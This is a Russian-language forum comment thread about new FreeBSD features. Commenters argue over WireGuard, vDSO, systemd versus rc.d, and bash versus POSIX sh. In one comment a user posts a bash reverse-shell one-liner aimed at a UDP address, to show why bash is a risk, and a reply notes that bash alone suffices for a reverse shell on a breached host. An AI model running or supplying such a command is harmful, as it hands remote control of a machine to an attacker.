| |
| 2.3, Аноним (3), 11:05, 11/04/2023 [^] [^^] [^^^] [ответить]
| +7 +/– |
BSD не следует трендам оно их создают. Правда эти их тренды никому не нужно, но это лишь частности.
| | |
| |
| 3.65, Аноним (65), 15:30, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
И все же, нетлинк и вайргад появились не у них и этот тренд создали другие.
| | |
| |
| 4.168, bOOster (ok), 07:59, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 Вот как раз эти то тренды как раз мало кому нужны по факту. Кроме Linux их никто не пользует.
| | |
| |
| 5.176, User (??), 09:07, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Не то, чтобы оно мне сколько-нибудь нравилось - но это чуть-чуть, самую капельку, малость - не есть правда. я с WG уже и на оффтопике сталкиваюсь.
| | |
| 5.198, Аноним (65), 13:34, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Вот как раз эти то тренды как раз мало кому нужны по
> факту. Кроме Linux их никто не пользует.
Именно поэтому их заимплементили в сабже. Ну, логично, да :)
| | |
| 5.407, Аноним (407), 14:49, 23/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Вот как раз эти то тренды как раз мало кому нужны по факту. Кроме Linux их никто не пользует.
Но кроме Linux ни кого больше и нет!
| | |
|
|
|
|
| 1.2, iPony129412 (?), 11:04, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –4 +/– | |
>В основной состав принят работающий на уровне ядра драйвер wg с реализацией сетевого интерфейса для VPN WireGuard. Прошлая попытка включения WireGuard в состав FreeBSD была предпринята в 2020 году, но завершилась скандалом
Вот это интересно. Когда непросто новые технологие внедряются, а с бомбёжкой.
| | |
| |
| 2.5, Аноним (3), 11:08, 11/04/2023 [^] [^^] [^^^] [ответить]
| +5 +/– |
Немножечко трудно внедрять новые технологии, когда это процесс не финансирует твой институт или мегакорпрации у которой деньги куры не клюют уже.
| | |
| |
| 3.21, Аноним (21), 12:22, 11/04/2023 [^] [^^] [^^^] [ответить]
| –4 +/– |
Да, очень трудно, когда не можешь продать свой труд за деньги. Начинают закрадываться подозрения.
| | |
| 3.184, Бывалый смузихлёб (?), 10:52, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
https://www.freebsd.org/status/report-2023-01-2023-03/freebsd-foundation/
> We finally have our 2022 fundraising numbers in and we raised a total of $1,231,096!
> This year our budget is around $2,230,000, which includes increased spending towards FreeBSD advocacy and software development
> По итогам 2022 года общем было собрано пожертвований на $ 1 231 096 ( что меньше изначально запланированных $ 1,4 млн )
> В этом году бюджет около $ 2,23 млн, включая повышение расходов на продвижение FreeBSD и разработку ПО.
В фин. отчётности упоминаются даже фин. расходы на канадскую мед страховку
Не так чтобы посоны последний хрен без соли ели
Вообще-то фряха - самая финансируемая из бздей. То ли у опёнка то ли у нэтки за минувший год было собрано порядка $ 40к
| | |
| 3.264, Аноним (264), 13:54, 13/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
Да там было наоборот, не мега, но все же корпорация, использующая в своих продуктах форк freebsd, нашла чувака, который когда-то был хорошим разрабом, но давно уже поехал крышей, заплатила ему за написание wg для fbsd, и то школьнлэое поделие с переполнениями буферов, имея "своих" в команде freebsd, пропихнули прямо в current, и чуть не дошло до релиза.
| | |
|
| 2.29, ivan_erohin (?), 12:56, 11/04/2023 [^] [^^] [^^^] [ответить]
| –7 +/– |
скандалы двигатель прогресса (один из).
например сравните С.Корею и Ю.Корею.
в последней постоянно какие-то скандалы,
в первой - все всегда тихо и единодушный одобрямс.
| | |
| |
| 3.131, Neon (??), 03:05, 12/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
И редкий президент Ю.К не сидел после отставки.))) Все равно воруют, коррупция, дедовщина. Так что без разницы, что Ю.К, что С.К.))) И там и там не сладко
| | |
| |
| |
| 5.362, Аноним (-), 16:55, 15/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
Вот его в СК, и пусть в кванмене коментит из-под ред стар линукса, или как он там называется. С доступом почирикать на пару часов в день, под пристальным присмотром парочки охранников.
| | |
|
|
|
| 2.56, Аноним (65), 15:17, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Вот это интересно. Когда непросто новые технологие внедряются, а с бомбёжкой.
Не, до этого не дошло - первый кодер вайргада только подпиливанием балок отметился.
| | |
|
| 1.4, Аноним (4), 11:05, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –3 +/– | |
> почти завершена реализации поддержки механизма vDSO
почти завершена, сейчас, уже вот-вот, со дня на день, почти готово, без пяти минут, все сделано, кроме некоторых моментов, практически готова, условно говоря, укладываемся в немного подкорректированные сроки
| | |
| |
| 2.143, Аноним (65), 05:59, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Сдирание фич из линукса занятие не такеое уж простое. Там это уже лет так ..цать. Если кто хотел увидеть как именно "too little and too late" выглядит - добро пожаловать!
| | |
| |
| 3.236, Аноним (236), 23:00, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 > Сдирание фич из линукса занятие не такеое уж простое. Там это уже лет так ..цать.
Ну да, ну да, если оно не называется "vDSO", значит этого нет ... особенно когда ядро и либц развиваются одной коммандой (что позволяет просто и без лишней бюрократии реализовать vDSO-фичи)
[CODE]
/usr/src/lib/libc/include/libc_private.h:int __sys_clock_gettime(__clockid_t, struct timespec *ts);
/usr/src/lib/libc/sys/Symbol.map: __sys_clock_gettime;
/usr/src/lib/libc/sys/clock_gettime.c: error = __sys_clock_gettime(clock_id, ts);
> Если кто хотел увидеть как именно "too little and too late" выглядит - добро пожаловать!
Если кто хотел увидеть как именно "задерем же гордо гузочку, потому что ... ой" - добро пожаловать!
| | |
| |
| 4.245, Аноним (-), 09:41, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> ... особенно когда ядро и либц развиваются одной коммандой (что позволяет
> просто и без лишней бюрократии реализовать vDSO-фичи)
В случае линуха vDSO это виртуальный DSO который вообще ядро подпихивает процессу и ему пофиг на то какой там libc. Что как-то лучше с точки зрения универсальности этого, потому что libc разные бывают и все такое. Ядро при этом может нехило срезать угол в обход стандартных механизмов и это декоррелировано от остальных изменений, чего в вашем примере кажется не получается.
И кстати там сейчас не только вон та 1 несчастная функция обычно.
> Если кто хотел увидеть как именно "задерем же гордо гузочку, потому что
> ... ой" - добро пожаловать!
Люблю technical excellence, что поделать. И перфоманс системы одна из важных метрик.
| | |
| |
| 5.282, Аноним (236), 22:38, 13/04/2023 [^] [^^] [^^^] [ответить] | +/– | Какие буквы в если оно не называется vDSO , значит этого нет вам не понятны ... большой текст свёрнут, показать | | |
| |
| 6.301, Аноним (301), 12:29, 14/04/2023 [^] [^^] [^^^] [ответить] | –1 +/– | vDSO это вполне конкретная технология, виртуальный DSO И что значит этого нет... большой текст свёрнут, показать | | |
| |
| 7.333, Аноним (236), 21:40, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Угу-угу В обход сисколов в первую очередь И vDSO - это еще и интерфейс а так ... большой текст свёрнут, показать | | |
| |
| 8.349, Аноним (-), 11:46, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Это оверрайд функций DSO ядром Которое может подпихнуть свои более производител... большой текст свёрнут, показать | | |
|
|
|
|
|
|
|
| 1.6, Аноним (6), 11:09, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Про линуксатор и iwlwifi не забыли, это радует. Но проверять это буду уже после релиза 14-й версии.
| | |
| 1.7, Аноним (7), 11:25, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
Судя по описанию релиз топ. Снапшоты везде, OpenZFS уже притёртый, WG
| | |
| 1.9, IdeaFix (ok), 11:30, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –6 +/– |
 Ээ.... во freebsd затащат iproute2 из Linux. И фря станет еще сильнее (с) в том, в чем традиционно была сильна (с)
Но вообще вся эта возня уже не создаёт видимости того что стартап жив.
| | |
| |
| 2.20, San (??), 12:09, 11/04/2023 [^] [^^] [^^^] [ответить]
| +4 +/– |
Все там нормально с растом. Попробуйте clamav собрать из портов, поймете, что в /usr (или куда вы папку с портами положили) надо дополнительные 20-30 гиг добавить (в несколько раз больше объема всей остальной системы) для сборки rustc в качестве build dependencies. И еще несколько часов будете ждать пока этот раст скомпилится, чтоб скомпилился clamav.
clamav-lts пока спасает, но надолго ли...
| | |
| |
| 3.52, тут такое дело (?), 15:07, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> или куда вы папку с портами положили
вот и корень проблемы - чукча не читатель:
PORTS(7) FreeBSD Miscellaneous Information Manual PORTS(7)
...
PORTSDIR Location of the ports tree. This is /usr/ports by
default.
если ещё непонятно - можно разместить где угодно, нужно лишь добавить эту переменную в /etc/make.conf.
чуть ниже в этом же ports(7) есть переменная, определяющая дирку для сборки. но это уже на домашнее задание - прочитать этот man и найти необходимое.
слова про расход памяти на сборку тоже из разряда "у меня лапки". например, firefox esr собирается в tmpfs, которому отдано 8 гигов из 16ти доступных. вот этот самый, в котором пишу.
| | |
| |
| 4.71, 1 (??), 16:06, 11/04/2023 [^] [^^] [^^^] [ответить]
| +3 +/– |
Ну как всегда на опеннет - "Говорил он всегда про другое"
Один говорит что диру с портами можно положить куда угодно, второй отвечает КАК это сделать и обзывает первого ламером.
| | |
| |
| 5.105, тут такое дело (?), 20:19, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
и прошу обратить внимание:
> чуть ниже в этом же ports(7) есть переменная, определяющая дирку для сборки.
эта цитата как раз про отделение пространства для сборки от портов, что при прямых руках и голове на плечах решает проблему нехватки места (возможно, ещё надо man tmpfs прочесть).
если человек (а) пользуется портами, (б) не читал man ports, но (ц) отчаянно надувает щоки, то (х) как его ещё назвать?
| | |
|
|
|
|
| |
| |
| |
| |
| 5.200, Аноним (65), 13:37, 12/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– |
Видимо это те профессионалы которых за ветеран юникс админами вслед сейчас уйдут. Самые догадливые, вот, вайргад на всякий запилили, чтобы еще потрепыхаться.
| | |
|
|
|
| 2.75, Аноним (65), 16:34, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> WG то зачем? его не то что тащ майор, его сержант банит > влёт.
Если сильно приспичило есть куча вариантов обфускации трафика. А именно тип VPN по трафу детектить - разве что GFW будет, но тот вообще довольно противная штука.
| | |
|
| |
| 2.33, abi (?), 13:36, 11/04/2023 [^] [^^] [^^^] [ответить]
| +6 +/– |
BSD никогда не сидел на баш-портянках, там rc.d. Лапчатые сидели, для их systemD был избавлением.
| | |
| 2.44, Аноним (44), 14:54, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
баш портянки у вас в линуксах, тут же нормальный POSIX Bourne Shell без башизмов в скриптах.
| | |
| |
| 3.47, Аноним (6), 15:02, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
И таки чем башизмы так плохи, если ими пользуются там где есть баш?
| | |
| |
| 4.72, 1 (??), 16:07, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
нет баша - нет башизмов же !
В dash я башизмов не нашёл.
| | |
| 4.88, OpenEcho (?), 19:30, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> И таки чем башизмы так плохи, если ими пользуются там где есть баш?
bash -i >& /dev/udp/8.8.8.8/1337 0>&1
| | |
| |
| 5.208, Аноним (65), 14:58, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
О да, а теперь попробуйте так с другим шелом. Если вы хотели сказать что от невозможности это делать секурити повышается, это врядли: позовет вредный скрипт какую-то программу и через нее данные скинет/получит, какая разница. Просто чуть неудобнее. Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.
| | |
| |
| 6.232, OpenEcho (?), 21:05, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.
Причем тут скрипты, если баш а также его друг gawk для всех 755, то не надо никаких скриптов вообще чтоб быстро и просто сделать реверсе шелл на машину где нашли дыру и все что надо сделать чтоб подключится с коmфортом - это наличие /bin/bash
| | |
| |
| 7.246, Аноним (-), 09:48, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> надо сделать чтоб подключится с коmфортом - это наличие /bin/bash
Вы так говорите как будто без баша атакующий обломается. Вообще, использование именно баш в качестве именно реверс шелла далеко не самый массовый вариант как это делается.
И если уж предъявлять что-то такое то скорее вон тем, которые по DHCP рут раздавали. Но там претензия в целом к скриптозамесу который делал что-то неадекватное передавая кучу параметров исходящих из внешнего мира через скриптоту, что вообще совсем не безопасно.
| | |
|
|
|
| 4.118, fumanchez (ok), 22:09, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
 bash не дает каких-то киллер фич, чтобы его брать заместо позиксного sh, ломая тем самым совместимость
| | |
| |
| 5.125, _ (??), 00:45, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
"ПионЭры! Идите в ..."(С) Фаина наше всио Раневская
Я вот (в отличии от тебя) на реальных биг-айрон униках работал, и чем баш хуже - не вижу.
Он _был_ хуже тем, что такие как ты в писали на баше, а в шебанг лепили борна :)
PS: А теперь - наборот :)
| | |
| 5.219, Чукча (?), 16:58, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 Может получение фрагмента строки и замена подстроки эти самые фичи?
| | |
| |
| 6.231, fumanchez (ok), 19:35, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
В sh есть удаление префиксов и суффиксов, вместо которых обычно вставляют другой, и этого достаточно, чтобы, например, подставить другое расширение файлу или поменять /usr на /usr/local. Ну а более сложные подстановки делаются через пайп в sed.
| | |
|
| |
| 6.347, fumanchez (ok), 11:21, 15/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
И чем for по массиву отличается от for по разделенным пробелом или другим IFS словам? Другие программы также на выходе никаких массивов не дают и в качестве аргументов их не принимают - шелл это про текст и его интерпретацию.
| | |
|
|
| 4.135, Ivan_83 (ok), 05:15, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
 Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.
| | |
| |
| 5.142, Аноним (65), 05:58, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.
Установить bash можно под почти что угодно напоминающее позиксную операционку.
| | |
| |
| 6.174, Ivan_83 (ok), 08:21, 12/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
Установить может и можно, но смысла нет.
Проще сразу написать скрипт который будет работать везде.
| | |
| |
| 7.207, Аноним (65), 14:52, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Установить может и можно, но смысла нет.
> Проще сразу написать скрипт который будет работать везде.
Кому как. В баше есть удобные плюшки и с точки зрения кодинга удобно ими попользоваться. И если кому скрипт нужен, поставят баш, не развалятся. А развалятся - значит им не очень надо было. Если они денег не платили то и фиг с ними и их причудами.
В стартовых скриптах оно конечно нафиг не. Там вообще системд так то поприятней смотрится. Потому что гораздо лучше когда это конфигурация а не логика. Избавляет от нужды в чужие художества лишний раз смотреть.
| | |
| |
| 8.365, _ (??), 18:43, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | потому что в 2023-ем если в системе есть шелл - то это скоее всего баш ТЧК ... текст свёрнут, показать | | |
|
|
|
|
|
| 3.77, Аноним (397), 17:10, 11/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– | |
> POSIX Bourne Shell без башизмов в скриптах
Это как гордиться лишней хромосомой. Баш потому и появился, что на POSIX Shell любой нетривиальный скрипт превращается в портянку.
| | |
| |
| 4.126, _ (??), 00:50, 12/04/2023 [^] [^^] [^^^] [ответить]
| –2 +/– | |
Ну предположим. И как переуспел баш то в этом благородном деле? Ржунимагу :)
Как говорил один умный человек, на этом же ресурсе - да, но мнооого лет назад, когда тут такой зверь ещё водился - так вот "Если твой скрипт занимает больше [пары] экрана[ов] - перепиши на ЯП"
И скажи что был не прав :)
| | |
| |
| 5.144, Аноним (65), 06:01, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Ну предположим. И как переуспел баш то в этом благородном деле?
В нем есть достаточно мощные расширения синтаксиса позволяющие делать некоторые вещи менее мерзко и без огромного спагетти-кода.
| | |
| |
| 6.160, _ (??), 07:10, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Но мерзкого-спагетти кода меньше не стало :)
Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))
| | |
| |
| 7.209, Аноним (65), 15:03, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Но мерзкого-спагетти кода меньше не стало :)
Системд довольно нехило это пролечил.
> Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))
Да как сказать? Поскольку креативить стало чуть менее удобно, а типовые сценарии разруливаются самим системд, вообще, нехило полегчало. Хотя конечно отдельные рожи даже так ухитряются креатив сомнительной степени кривизны протолкать, ведь запустить шелл и скрипт им из юнита системды можно, если очень хочется.
| | |
|
|
|
| |
| 5.161, _ (??), 07:13, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
А ты чё это недостаточно бодро хвалишь господина Кц? Щас кто нить на капу нажмёт :)
| | |
|
| 4.292, Аноним (292), 09:42, 14/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– | |
Ну вот только bsd-шники на POSIX sh смогли сделать нормальный rc.d с выносом всего общего кода в стандартную библиотеку, а линуксоиды (не все, но тот же Debian яркий пример) продолжали копипастить портянки однотипного кода в каждый инит-скрипт.
Может, дело не в баше?
| | |
|
|
| 2.85, Аноним (85), 18:35, 11/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
Попробуй уменьшить частоту процессора и объем оперативной памяти в полтора-два раза. Будет похоже, как будто у тебя systemd. Как раз то, что тебе и нужно.
| | |
| |
| 3.145, Аноним (65), 06:05, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
Это вообще дикий гон - системд потребляет 5 мегабайт памяти и 0% проца, прекрасно работая даже на первой малинке. И стартует это уж всяко быстрее скриптоты, где оверхед от интерпретатора при старте пачки сервисов - большая часть времени в процессе старта. Да и конфиг без кода с чисто параметрическим описанием все же лучше, нет сюрпризов и художеств. А если сильно надо - скрипт можно и вызвать.
Но вы погодите, когда вас последние энтерпрайзы за такое управление системы отправят на мороз, ваши девы тоже начнут догадываться в чем дело. Или останутся вообще совсем без донатов.
| | |
| |
| 4.284, Аноним (85), 03:02, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Верим, верим... всему, особенно про "легковесность" systemd
То-то я смотрю из легковесных дистрибутивов systemd выпиливают. Просто так, наверное...
| | |
| |
| 5.302, Аноним (-), 12:38, 14/04/2023 [^] [^^] [^^^] [ответить] | +/– | Ваши верования ортогональны тому у кого low end одноплатников больше чем у дypaк... большой текст свёрнут, показать | | |
|
| 4.315, Аноним (85), 14:33, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Из твоего мутного потока здесь и ниже явно просматривается один-единственный факт: systemd — это скорее религия, нежели инструмент.
Все эти запугивания, отсылки к высшим силам — это всё оттуда.
Есть куча множество UNIX-like систем, где обходятся без systemd. И они вполне себе продаются.
| | |
| |
| 5.363, Аноним (-), 17:09, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | Это ж какое просветленное сознание надо было иметь чтобы в вон том увидеть вот э... большой текст свёрнут, показать | | |
| |
| 6.389, Аноним (-), 07:08, 16/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
Что ты за такая авторитетная личность?
И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо пока работает?
| | |
| |
| 7.401, Аноним (-), 16:18, 17/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
> Что ты за такая авторитетная личность?
Я лишь предлагаю точку зрения и как правило могу ее обосновать. Соглашаться или нет - личное дело каждого. Вот так просто и банально.
> И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо
> пока работает?
Обычно это случается по соображениям эффективности и отсутствия технических и человеческих эксплуатационных проблем.
| | |
|
|
|
|
|
| |
| 3.288, Аноним (85), 03:17, 14/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
Дело не в том, что он сложный. а в том, что его функции в 99% нафиг не нужны. Это как развозить молоко на бульдозере — в принципе можно использовать, но как-то не очень хочется.
| | |
| |
| 4.314, Аноним (-), 14:33, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Дело не в том, что он сложный. а в том, что его
> функции в 99% нафиг не нужны. Это как развозить молоко на
> бульдозере — в принципе можно использовать, но как-то не очень хочется.
Кому не нужны тем и карты в руки. А мне вот например возможность изолировать сервисы от системы без гимора, авторестартить их, прописывать по людски ключевые параметры их запуска и проч в лаконичном виде и проч - вполне себе. И многими из этих фич я еще и пользуюсь. Поэтому имею кое-что против типов говорящих "нафиг не нужны". Поэтому и пользуюсь линем. Хоть начинал вот именно с фри, но потом случайно заметил что управление серверами сильно менее мучительно и канительно если вместо нее линукс ставить. А потом... это был длинный путь но я стал весьма продвинут в технологиях которые я применяю.
| | |
| |
| 5.385, Аноним (85), 02:06, 16/04/2023 [^] [^^] [^^^] [ответить]
| +2 +/– | |
Цитата: "...но я стал весьма продвинут в технологиях которые я применяю."
Ну да, ну да... "сам себя не похвалишь — весь день как оплеванный". Собственно это всегда и выдает ламера.
| | |
| |
| 6.402, Аноним (-), 16:19, 17/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Ну да, ну да... "сам себя не похвалишь — весь день как
> оплеванный". Собственно это всегда и выдает ламера.
Не, это смотрение на себя и свои возможности и скиллы эн лет назад. И только. Если я вижу улучшения и могу найти отличия в лучшую сторону - значит направление взято верно.
| | |
|
|
|
|
|
| 1.15, Гапс (?), 11:49, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +6 +/– |
Хорошая новость про отличную ОС. Всем поклонникам демона большой привет! У нас фря стоит уже давно для сети, почты и для БД. Просто многие не умеют ее готовить. Кстати намного стабильнее всех линуксов, есть с чем сравнивать.
| | |
| |
| 2.28, Аноним (28), 12:48, 11/04/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
Ага. Тож самое - гейты, почта и веб-часть на ней онли.
И таки стабильнее линукса
| | |
| |
| 3.38, Изя (?), 14:22, 11/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– | |
>Тож самое - гейты, почта и веб-часть на ней онли.
Естественно!
Под другое она не годится.
Кстати, как там с поддержкой в утилитах юникода? Лет через 10 допилят?
| | |
| |
| 4.114, Аноним (236), 21:04, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
> Под другое она не годится.
У любителей "как венда, но нахаляву" - все может быть.
> Кстати, как там с поддержкой в утилитах юникода? Лет через 10 допилят?
Ты еще про поддержку юникода (чсх, настоящего, а не фейкового "256/512 глифов", как у "светочей прогресса") в ядерной консоле вспомни.
| | |
|
|
| 2.35, Аноним (6), 13:48, 11/04/2023 [^] [^^] [^^^] [ответить]
| –3 +/– |
А я устал чинить вечно-"стабильную" фряху. Мне как-то лучше "нестабильный" линух, в котором всё нужное мне работает и не разваливается как в сабже. И "готовить" линух особо не надо, опять таки, в отличие от сабжа.
| | |
| |
| |
| 4.89, www2 (??), 19:31, 11/04/2023 [^] [^^] [^^^] [ответить] | –1 +/– | Из того, на что я натыкался 1 во FreeBSD нелья было увеличить количество семаф... большой текст свёрнут, показать | | |
| |
| 5.250, _ (??), 10:48, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
2. после перезагрузки системы часть демонов наботают с переменной окружения PATH, в которой нет путей к /usr/local/bin и /usr/local/sbin. Лечится перезапуском демонов от пользователя root - в таком случае используется нго переменная PATH. Штатного способа починить это не предусмотрено, можно поправить значение в скриптах в /etc/rc, но тогда система может не загрузиться, если ей не удастся смонтировать /usr/local. Не знаю, что из этого хуже,
У демона есть login class, у login class'а в login.conf(5) есть path ... Документацию ты не читал.
| | |
| |
| 6.313, Аноним (-), 14:24, 14/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– |
> У демона есть login class, у login class'а в login.conf(5) есть path
> ... Документацию ты не читал.
А в этом нашем системд можно конкретному сервису прописать хоть path, хоть весь env без особого напряга. Без всяких классов и прочих выкрутасов. И даже доки читать особо не надо в этом случае, как максимум пару примеров глянуть да сделать так же. Вы еще удивляетесь почему сабж на линух заменяют?
| | |
| |
| |
| |
| 9.364, _ (??), 18:41, 15/04/2023 [^] [^^] [^^^] [ответить] | +/– | оспЫдя восторгов то сколько У тебя это в первый раз С PS то модер ... текст свёрнут, показать | | |
|
|
|
|
|
| 4.188, Аноним (186), 12:20, 12/04/2023 [^] [^^] [^^^] [ответить]
| –3 +/– |
Документация в бзде неплохая, но толку с того? Если система настолько глюкавая и рассыпчатая, что лучше не обновлять, лучше не перезагружать(выключение и включение позволяет более предсказуемо загрузиться).
При включении лучше присутствовать за физ-консолью, ибо может понадобиться запустить fsck, даже если диск без бэдов. Из хорошего - начиная с 13-й версии fsck работает, слава яйцам!
Сон iwlwifi - всё ещё вечен, и разрабы знают об этой проблеме.
На ноутах видеоускорение - рандомно работает, и рандомно валится. С 2 кадрами в секунду уже ютруб не посмотришь, да и тиринг, как 15 лет назад.
А ты и дальше продолжай читать документацию. Всё же легче чем попробовать использовать данную систему на практике.
| | |
| |
| 5.196, Аноним (196), 13:31, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>На ноутах видеоускорение - рандомно работает, и рандомно валится. С 2 кадрами в секунду уже ютруб не посмотришь, да и тиринг, как 15 лет назад.
А еще юсбишные наушникик у меня не заработали. Прочитал все доки, перепробовал вс етчо там написано, перепробовал все что написано на форумах, все равно не заработало. Вернулся на бубунту.
| | |
| |
| 6.205, Аноним (-), 13:57, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
Обычно kldload snd_uaudio хватает для class-compliant стандартного ЦАПа в таких наушниках. Если есть возможность загрузить, подключить и привести вывод ядра и топологию соотв. устройств - пиши, взглянем
| | |
| |
| 7.210, Аноним (65), 15:07, 12/04/2023 [^] [^^] [^^^] [ответить]
| –1 +/– | |
> Обычно kldload snd_uaudio хватает для class-compliant стандартного ЦАПа в таких наушниках.
А плагнплей загрузки нужных модулей для стандартного класса в сабже что, нет? В линухе какой-нибудь udev сам нужный модуль вгрузит - и порядок.
| | |
| 7.223, BorichL (ok), 17:57, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
 Да чувак просто документацию недочитал. Если так и не заработало, то дальше надо читать Б.В. Керниган, Д.М. Ритчи Язык программирования С. А мамкины спецы назад на бабуинунточку отскакивают.
| | |
| 7.229, Аноним (196), 18:16, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>Обычно kldload snd_uaudio
А вот не хватило. Как и всего остального, что было нарыто везде, где можно. Не реально тогда впрягся в то, чтоб оно таки заработало. Но нет.
| | |
|
|
| 5.240, sysrise (ok), 08:03, 13/04/2023 [^] [^^] [^^^] [ответить] | +2 +/– |  Смею спросить сэр, а Вы сколько с FreeBSD знакомы, именно в плане плотной работы... большой текст свёрнут, показать | | |
| |
| 6.263, Аноним (263), 13:24, 13/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
С серверов freebsd давно уже повыкидаывали, где она была. Осталось только юзать это прикола ради, на подкроватном серверке, или десктопе. Первое сильно не у всех, а для последнего только если ты мазохист.
| | |
| |
| 7.286, sysrise (ok), 03:10, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
> С серверов freebsd давно уже повыкидаывали, где она была. Осталось только юзать
> это прикола ради, на подкроватном серверке, или десктопе. Первое сильно не
> у всех, а для последнего только если ты мазохист.
Это сугубо Ваше личное мнение или оно основано на общеизвестной мировой практике и анализе? "Подкроватные" сервера как правило у субьектов с весьма ограниченными знаниями в проф. сфере, так же как и "поиграться", а потом с умным видом писать многострочные заключения. Вы еще Solaris под кровать определите, или на ноутбук его взгромоздите, а потом пишите свое заключение о совершенном непригодности ОС в этой роли...
| | |
|
|
| 5.287, Аноним (85), 03:12, 14/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
То есть документацию не читал, но лезешь админить? Молодец, продолжай.
Расскажи нам ещё ужасов про fsck.
Hint: Для начала научись нормально отмонтировать диски и выключать компьютер с UNIX-like системой в штатном режиме.
| | |
|
|
| 3.222, BorichL (ok), 17:49, 12/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
С такими кривыми руками вам лучше долбать линух или винду, лучше выйдет.
| | |
|
|
| 1.17, Ivan_83 (ok), 11:58, 11/04/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– | |
> /etc/hostid и невозможности получения UUID от аппаратного обеспечения. Также добавлен файл /etc/machine-id
Хромиум любит его читать чтобы идетить пользователя однозначно.
| | |
| |
| 2.30, ivan_erohin (?), 13:02, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– |
видимо можно запретить. навскидку
1) хром от спец.юзера в chroot, против других утечек тоже полезно.
2) jail (не знаю что будет с X, надо проверять).
3) права root:wheel 0640 или 0600
| | |
| |
| 3.58, Ананий (?), 15:21, 11/04/2023 [^] [^^] [^^^] [ответить]
| +/– | |
>2) jail (не знаю что будет с X, надо проверять).
работает, но притормаживает
возможно будет интереснее вариант с другим юзером и xrdp в джейле, если уж прям боязно
| | |
